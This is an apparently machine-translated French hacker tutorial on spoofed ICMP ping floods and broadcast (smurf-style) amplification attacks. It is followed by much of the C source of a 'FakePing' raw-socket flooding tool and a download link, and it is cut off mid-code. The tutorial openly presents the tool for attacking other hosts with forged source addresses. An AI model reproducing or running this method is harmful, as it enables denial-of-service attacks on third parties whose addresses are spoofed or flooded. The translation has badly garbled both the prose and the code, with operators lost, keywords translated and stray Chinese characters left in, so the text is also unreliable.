Récemment, un certain nombre de personnes vous appelle à nouveau pour aller avec ce que mort Ping ce site, mais techniquement, quelles que soient les attaques par déni de service, nous avons besoin pour satisfaire à une condition: avec le moins de ressources en échange d'être la plus grande consommation de l'attaquant. Nous aimons aller avec Ping n'est pas seulement étrange: avec la plus grande ressource pour l'autre le moindre mal; est ridicule: la guerre du peuple il ya 50 ans, appartiennent probablement à agir, et dans l'ère d'Internet, pas combien de personnes seront en mesure de.
Aujourd'hui, nous sommes pour la Ping, Ping est d'envoyer un message ICMP (type 8 code 0) à explorer l'existence d'hôtes du réseau un outil, il ya longtemps, une partie du système d'exploitation (par exemple Win95), ne sont pas bien traités Ping grands paquets , résultant en un ping de la mort d'attaques (Ping sac avec une ruine grands les uns les autres ou bien rembourrés réseau), des mises à jour du système d'exploitation, mises à niveau de la bande passante réseau, mises à niveau de matériel informatique, à l'heure actuelle, pratiquement aucun des paquets Ping grandes effet attaque de grande (sauf pour l'attaque distribuée), si nous devons utiliser les paquets Ping pour attaquer d'autres machines, à moins que l'utilisation du protocole TCP / IP ou d'autres caractéristiques de la topologie du réseau de la plupart des amplifié l'intensité des attaques (ce qu'on appelle une rétroaction positive)
Dans des circonstances normales, le processus de Ping est comme ceci:
L'hôte A envoie des paquets ICMP à l'hôte 8,0 B
Hôte B renvoie des messages à l'ICMP 0,0 A d'accueil
Parce que ICMP a pas de lien de suite, afin de nous donner l'occasion, en supposant que l'hôte est maintenant passer pour l'hôte A envoie des paquets ICMP 8,0 paquets C, les résultats ce qui se passerait? De toute évidence, l'hôte d'accueil C B enverra ce rapport est papier à l'abri
Réponse à l'hôte C, la structure suivante:
Erreur C se faisant passer pour la réponse de l'hôte
Un hôte d'accueil --------------------- B ------------------ hôte C
Cette affaire, car l'hôte A seulement besoin de la distribution continue de Ping paquets sans la nécessité de traiter avec le retour de EchoReply, si des efforts ont multiplié les attaques, alors qu'en fait, l'hôte B et C d'accueil sont la cible d'attaque Pi, et ne restera pas sous sa propre marque, est une attaque déguisée deux oiseaux avec une pierre approche.
Méthodes SOCK_RAW IP ci-dessus peut facilement camouflage, mais même élargie à deux reprises, pour le système d'exploitation plus robuste et plus la bande passante, ni beaucoup d'effet, ne nous à nouveau à des sports organisés? Pas bien, laisser l'ennemi à nous pour agrandir Eh bien, TCP / IP dans un concept appelé la diffusion, l'émission que l'on appelle le sens qu'il ya une adresse, n'importe quel hôte dans le réseau local sera envoyé à cette adresse pour recevoir le message (comme l'émission de radio même) si? faire? Oui, si nous nous rendons à l'adresse de diffusion pour envoyer un paquet ICMP ECHO (Ping qui est l'adresse de diffusion ci), le résultat sera un grand nombre de réponse, Ethernet, permettant à chacun de recevoir un message diffusé sera l'hôte de la réponse une ICMP_ECHOREPLY, si vous voulez tester la machine sur Unix Ping LAN adresse de diffusion ce que vous verrez beaucoup de paquet de réponse DUP est de répéter la réponse, le système Windows, pas le genre de résultats parce que le Microsoft Ping programme ne répond pas à plusieurs déballé, le premier paquet reçu après que le système a chuté derrière, et Microsoft ne répond pas à diffuser l'adresse du package par défaut, afin de mieux vous dans un lot d'essai d'accueil LAN unix.
Ici, à puce Vous savez ce que je veux faire maintenant? Hé hé, oui, quand on fait semblant d'être une adresse de diffusion pour attaquer l'hôte envoie Ping temps demande, tous les hôtes dans l'adresse de diffusion sera de répondre à la demande Ping Ceci est équivalent à l'intensité des attaques est N fois! (adresse de diffusion N = pour répondre aux paquets Ping dans le nombre d'hôtes)
Se faisant passer pour l'hôte C ont tort tous les réponse de l'hôte de radio
Une adresse de diffusion hôte --------------------- ======================= == accueil C
J'ai écrit un outil FakePing, vous pouvez Http: / / www.patching.net / fusil / download FakePing.exe.
L'utilisation est FakePing.exe FakeIP TargetIP [PacketSize], si TargetIP est l'adresse de diffusion, puis FakeIP a été ciblé.
Source annoncé comme suit:
typedef struct _iphdr / / définition de la propriété intellectuelle en-tête
(
unsigned char h_verlen; / / 4 degrés 位 premier ministre, IP version 4
unsigned char tos; / / 8 services de type TOS
unsigned total_len court; / / 16 durée médiane totale (octets)
unsigned ident court; / / identification 16-bit
unsigned frag_and_flags court; / / 3 bits de drapeaux
unsigned char ttl; / / 8 temps de survie médian de TTL
unsigned char proto; / / protocole 8-bit (TCP, UDP ou autre)
unsigned contrôle de courte durée; / / 16 checksum 位 en-tête IP
sourceIP unsigned int; / / 32 source numérique adresse IP
destIP unsigned int; / / 32 位 but de l'adresse IP
) IP_HEADER;
/ / Définit ICMP en-tête
typedef struct _ihdr
(
i_type BYTE; / / 8 bits de type
i_code BYTE; / / 8 bits codes
i_cksum USHORT; / / 16 bits de contrôle
USHORT i_id; / / numéro d'identification (habituellement avec un ID de processus que le numéro d'identification)
USHORT i_seq; / / Message numéro de séquence
timestamp ULONG; / / heure
) ICMP_HEADER;
/ / Checksum: Fonctions de contrôle du calcul
checksum USHORT (* buffer USHORT, int taille)
(
unsigned long cksum = 0;
while (taille 1)
(
+ + + Cksum =* tampon;
-= taille sizeof (USHORT);
)
if (taille)
(
+ Cksum = * (* UCHAR) tampon;
)
cksum = (cksum 16) + (cksum & 0xFFFF);
+ Cksum = (cksum 16);
retour (USHORT) (cksum ~);
)
/ / FakePing fonction principale
int main (int argc, char ** argv)
(
int datasize, ErrorCode, comptoir, du pavillon;
Int timeout = 2000, SendSEQ = 0, PacketSize = 32;
SendBuf char [65535] = (0);
wsaData WSADATA;
SockRaw socket = (socket) NULL;
struct sockaddr_in DestAddr;
ip_header IP_HEADER;
icmp_header ICMP_HEADER;
FakeSourceIp char [20], DestIp [20];
/ / Accepter les paramètres de la ligne de commande
if (argc 3)
(
printf ("FakePing par Shotgun
»);
printf ("Ce programme peut faire Ping-inondation à partir FakeIP
»);
printf ("Utilisation d'une IP de diffusion que le FakeIP permettra d'améliorer l'effet
»);
printf ("E-mail:
»);
printf ("Shotgun@Xici.Net
»);
printf ("Site Web:
»);
printf ("http://It.Xici.Net
»);
printf ("http://www.Patching.Net
»);
printf ("Usage:
[FakePing.exe DestinationIp FakeSourceIp PacketSize]
»);
printf ("Exemple:
»);
printf ("FakePing.exe 192.168.15.23 192.168.15.255
»);
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400
»);
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) PacketSize = atoi (argv [3]);
if (PacketSize 60000)
(
printf ("Erreur! la taille des paquets trop gros, doit 60K
»);
exit (0);
)
printf ("% s maintenant Fake Ping% s en utilisant la taille des paquets =% d octets
"
FakeSourceIp, DestIp, PacketSize);
printf ("Ctrl + C pour quitter
»);
/ / Initialisation de SOCK_RAW
if ((ErrorCode = WSAStartup (MAKEWORD (2,1), et wsaData))! = 0)
(
fprintf (stderr, "WSAStartup a échoué:% d
», ErrorCode);
ExitProcess (STATUS_FAILED);
)
if ((SockRaw WSASocket = (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (stderr, "WSASocket () a échoué:% d
», WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
flag = true;
/ / Définit IP_HDRINCL remplir leur propre en-tête IP
ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & drapeau, sizeof (int));
if (ErrorCode == SOCKET_ERROR)
printf ("Set IP_HDRINCL erreur!
»);
__try
(
/ / Définit envoyer timeout
ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));
if (ErrorCode == SOCKET_ERROR)
(
fprintf (stderr, "Impossible de définir envoyer TimeOut:% d
», WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Remplir en-tête IP
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / élevé 4 numéro de version IP, le premier ministre du faible niveau de quatre
ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 durée médiane totale (octets)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / 3 du pavillon
ip_header.ttl = 128;
/ / Temps de 8-bit de survie TTL
ip_header.proto = IPPROTO_ICMP;